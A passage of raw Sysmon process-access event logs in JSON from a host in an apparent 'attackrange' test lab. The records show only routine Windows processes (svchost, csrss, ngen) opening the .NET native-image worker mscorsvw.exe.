12:04:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8207,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:02.197\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4332-5F2D-0000-0010F7A01000}\r\nTargetProcessId: 4804\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:02.197","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4332-5F2D-0000-0010F7A01000}","TargetProcessId":"4804","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8208,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:02.229\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42FB-5F2D-0000-0010CBF20E00}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:02.229","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42FB-5F2D-0000-0010CBF20E00}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8209,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:02.244\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4332-5F2D-0000-001053A41000}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:02.244","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4332-5F2D-0000-001053A41000}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8210,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:02.244\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4332-5F2D-0000-001053A41000}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:02.244","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4332-5F2D-0000-001053A41000}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8211,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:02.307\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4332-5F2D-0000-0010F2A71000}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:02.307","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4332-5F2D-0000-0010F2A71000}","TargetProcessId":"2820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8212,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:02.307\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4332-5F2D-0000-0010F2A71000}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:02.307","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4332-5F2D-0000-0010F2A71000}","TargetProcessId":"2820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8213,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:02.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4332-5F2D-0000-0010F2A71000}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:02.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4332-5F2D-0000-0010F2A71000}","TargetProcessId":"2820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8214,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:02.385\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-432B-5F2D-0000-00106D511000}\r\nTargetProcessId: 2980\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 